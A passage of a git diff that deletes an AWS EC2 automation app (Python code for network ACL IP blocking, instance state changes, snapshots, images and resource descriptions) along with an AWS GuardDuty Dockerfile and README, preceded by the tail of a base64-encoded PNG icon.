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 diff --git a/aws-ec2/1.0.0/ec2.png b/aws-ec2/1.0.0/ec2.png deleted file mode 100644 index b1aa2ca1..00000000 Binary files a/aws-ec2/1.0.0/ec2.png and /dev/null differ diff --git a/aws-ec2/1.0.0/requirements.txt b/aws-ec2/1.0.0/requirements.txt deleted file mode 100644 index 9c1b76e6..00000000 --- a/aws-ec2/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -boto3==1.20.20 -requests==2.25.1 diff --git a/aws-ec2/1.0.0/src/app.py b/aws-ec2/1.0.0/src/app.py deleted file mode 100644 index 938ad0fd..00000000 --- a/aws-ec2/1.0.0/src/app.py +++ /dev/null @@ -1,421 +0,0 @@ -import datetime -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -def datetime_handler(x): - """ This function is used make datetime object json serilizable, - removing this function can cause error in some actions """ - - if isinstance(x, datetime.datetime): - return x.isoformat() - raise TypeError("Unknown type") - -class AWSEC2(AppBase): - __version__ = "1.0.0" - app_name = "AWS ec2" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth_ec2(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = 'v4', - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - self.ec2 = boto3.resource( - 'ec2', - config = my_config, - aws_access_key_id = access_key, - aws_secret_access_key = secret_key, - ) - - return self.ec2 - - # Write your data inside this function - def get_rules(self, access_key, secret_key, region, NetworkAclId): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - - network_acl = self.ec2.NetworkAcl(NetworkAclId) - return network_acl.entries - - # Write your data inside this function - def block_ip(self, access_key, secret_key, region, NetworkAclId, ip, direction): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - network_acl = self.ec2.NetworkAcl(NetworkAclId) - - if "/" not in ip: - ip = "%s/32" % ip - - egress = True - if direction == "inbound": - egress = False - - # This is a shitty system :) - minimum = 100 - max_range = 30000 - numbers = [] - #found = False - for item in network_acl.entries: - if egress != item["Egress"]: - continue - - if ip == item["CidrBlock"]: - raise Exception("IP %s is already being blocked." % ip) - - numbers.append(item["RuleNumber"]) - - - for index in range(minimum, max_range): - if index in numbers: - continue - - minimum = index - break - - print("New number: %d" % minimum) - - try: - return network_acl.create_entry( - CidrBlock = ip, - DryRun = False, - Egress = egress, - IcmpTypeCode = { - 'Code': 123, - 'Type': 123 - }, - PortRange = { - 'From': 0, - 'To': 65535 - }, - Protocol = "6", - RuleAction = "DENY", - RuleNumber = minimum, - ) - except botocore.exceptions.ClientError as e: - print("Error: %s" % e) - return "%s" % e - - - # Write your data inside this function - def create_acl_entry(self, access_key, secret_key, region, NetworkAclId , cidr_block, dryrun, direction, portrange_from, portrange_to, protocol, rule_action, rule_number): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - - network_acl = self.ec2.NetworkAcl(NetworkAclId) - if protocol.lower() == "tcp": - protocol = "6" - elif protocol.lower() == "udp": - protocol = "17" - - egress = True - if direction == "inbound": - egress = False - else: - egress = True - - if dryrun.lower() == "false": - dryrun = False - else: - dryrun = True - - try: - return network_acl.create_entry( - CidrBlock = cidr_block, - DryRun = dryrun, - Egress = egress, - IcmpTypeCode = { - 'Code': 123, - 'Type': 123 - }, - PortRange = { - 'From': int(portrange_from), - 'To': int(portrange_to) - }, - Protocol = protocol, - RuleAction = rule_action, - RuleNumber = int(rule_number), - ) - except botocore.exceptions.ClientError as e: - print("Error: %s" % e) - return "%s" % e - - #Terminate, Start and Stop Instance - def instance_state_change(self, access_key, secret_key, region, instance_id, action, dryrun): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - instance = self.ec2.Instance(instance_id) - dryrun = True if dryrun in ["True", "true"] else False - - try: - if action == "terminate": - return instance.terminate(DryRun = dryrun) - elif action == "start": - return instance.start(DryRun = dryrun) - else: - return instance.stop(DryRun = dryrun) - except botocore.exceptions.ClientError as e: - print("Error: %s" % e) - return "%s" % e - - #Create Network Interface - def create_network_interface(self, access_key, secret_key, region, subnetid, description, dryrun ): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - return client.create_network_interface( - Description = description, - DryRun = dryrun, - SubnetId = subnetid - ) - except Exception as e: - return e - - #Create Image - def create_image(self, access_key, secret_key, region, description, instance_id, name, dryrun, noreboot): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - noreboot = True if dryrun in ["True", "true"] else False - try: - return client.create_image( - Description=description, - DryRun = dryrun, - InstanceId = instance_id, - Name = name, - NoReboot = noreboot - ) - except Exception as e: - return e - - #Deregister Image - def deregister_an_image(self, access_key, secret_key, region, image_id, dryrun): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - return client.deregister_image( - ImageId = image_id, - DryRun = dryrun - ) - except Exception as e: - return e - - #Create Snapshot - def create_snapshot(self, access_key, secret_key, region, description, volume_id, dryrun): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - response = client.create_snapshot( - Description = description, - VolumeId = volume_id, - DryRun = dryrun - ) - return json.dumps(response, default=datetime_handler) - except Exception as e: - return e - - #Delete Snapshot - def delete_snapshot(self, access_key, secret_key, region, snapshot_id, dryrun): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - return client.delete_snapshot( - SnapshotId = snapshot_id, - DryRun = dryrun - ) - except Exception as e: - return e - - #Delete Network Interface - def delete_network_interface(self, access_key, secret_key, region, networkinterface_id, dryrun): - self.ec2 = self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - return client.delete_network_interface( - NetworkInterfaceId = networkinterface_id, - DryRun=dryrun - ) - except Exception as e: - return e - - #Describing address - def describe_address(self, access_key, secret_key, region, publicips, dryrun): - self.ec2=self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - if len(publicips)==0: - lt = [] - else: - lt=publicips.split(','), - return client.describe_addresses( - PublicIps = lt, - DryRun = dryrun - ) - except Exception as e: - return e - - #Describing key pair - def describe_keypair(self, access_key, secret_key, region, dryrun, option, value): - self.ec2=self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - if len(value)==0: - lt=[] - else: - lt=value.split(',') - if option == 'KeyNames': - return client.describe_key_pairs( - KeyNames=lt, - DryRun = dryrun - ) - elif option == 'KeyPairIds': - return client.describe_key_pairs( - KeyPairIds=lt, - DryRun = dryrun - ) - else: - return client.describe_key_pairs( - DryRun = dryrun - ) - except Exception as e: - return e - - #Describing network acls - def describe_networkacls(self, access_key, secret_key, region, dryrun, networkAcl_Id): - self.ec2=self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - if len(networkAcl_Id)!=0: - lt=networkAcl_Id.split(',') - return client.describe_network_acls( - DryRun = dryrun, - NetworkAclIds = lt - ) - else: - return client.describe_network_acls( - DryRun = dryrun, - ) - except Exception as e: - return e - - #Describing Security groups - def describe_securitygroups(self, access_key, secret_key, region, dryrun, option, value): - self.ec2=self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - if len(value)==0: - lt=[] - else: - lt=value.split(',') - if option == 'GroupIds': - return client.describe_security_groups( - GroupIds=lt, - DryRun = dryrun - ) - # elif option == 'GroupNames': - # return client.describe_security_groups( - # GroupNames=lt, - # DryRun = dryrun - # ) - else: - return client.describe_security_groups( - DryRun = dryrun - ) - except Exception as e: - return e - - #Describing vpcs - def describe_vpc(self, access_key, secret_key, region, dryrun, vpcid): - self.ec2=self.auth_ec2(access_key, secret_key, region) - client = self.ec2.meta.client - dryrun = True if dryrun in ["True", "true"] else False - try: - if len(vpcid)==0: - lt=[] - return client.describe_vpcs( - DryRun = dryrun, - VpcIds = lt - ) - else: - lt=vpcid.split(',') - return client.describe_vpcs( - DryRun = dryrun, - VpcIds = lt - ) - except Exception as e: - return e - - def create_an_instance(self, access_key, secret_key, region, dryrun, image_id, min_count, max_count, instance_type, user_data, key_name, security_group_ids): - client = boto3.resource('ec2', - aws_access_key_id=access_key, - aws_secret_access_key=secret_key, - region_name=region) - dryrun = True if dryrun in ["True", "true"] else False - - try: - if security_group_ids: - security_group_ids_list = [i for i in security_group_ids.split(" ")] - instance = client.create_instances( - DryRun= dryrun, - ImageId=image_id, - MinCount=int(min_count), - MaxCount=int(max_count), - InstanceType=instance_type, - KeyName=key_name, - SecurityGroupIds= security_group_ids_list, - UserData= user_data - - ) - #parsing response - total_instances = ["instance_id_"+str(i) for i in range(1,len(instance)+1)] - instance_id_list = [i.id for i in instance] - response = dict(zip(total_instances,instance_id_list)) - response.update({"Success":"True"}) - return response - else: - instance = client.create_instances( - DryRun= dryrun, - ImageId=image_id, - MinCount=int(min_count), - MaxCount=int(max_count), - InstanceType=instance_type, - KeyName=key_name, - UserData= user_data - ) - #parsing response - total_instances = ["instance_id_"+str(i) for i in range(1,len(instance)+1)] - instance_id_list = [i.id for i in instance] - response = dict(zip(total_instances,instance_id_list)) - response.update({"Success":"True"}) - return response - except Exception as e: - return f"Exception occured: {e}" - - -if __name__ == "__main__": - AWSEC2.run() diff --git a/aws-guardduty/1.0.0/Dockerfile b/aws-guardduty/1.0.0/Dockerfile deleted file mode 100644 index ff7bd7a0..00000000 --- a/aws-guardduty/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG \ No newline at end of file diff --git a/aws-guardduty/1.0.0/README.md b/aws-guardduty/1.0.0/README.md deleted file mode 100644 index bbaca811..00000000 --- a/aws-guardduty/1.0.0/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# AWS GuardDuty -Amazon Web Services Serverless Compute service (lambda) - -## Actions -access_key, secret_key and region are used for authentication. - **Bold** Parameters are compulsory required. - -| No. | Action | Description | Parameters | -|-----|--------|-------------|------------| -|1 | Create Detector | Creates a single Amazon Guardduty detector | access_key, secret_key, region, **enable** -|2 | Delete Detector | Deletes a detector | access_key, secret_key, region, **detectorId** -|3 | Get Detector | Retrieves a detector | access_key, 